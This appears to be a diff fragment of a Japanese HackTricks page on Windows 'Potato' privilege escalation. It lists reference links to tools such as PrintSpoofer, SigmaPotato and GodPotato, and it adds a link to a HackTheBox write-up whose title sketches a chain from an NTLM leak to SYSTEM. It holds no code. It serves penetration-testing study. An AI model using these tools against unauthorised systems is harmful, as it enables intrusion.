- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
@ -167,5 +168,7 @@ SigmaPotato は .NET reflection を介した in-memory execution や PowerShell
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
- [FullPowers Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
{{#include ../../banners/hacktricks-training.md}}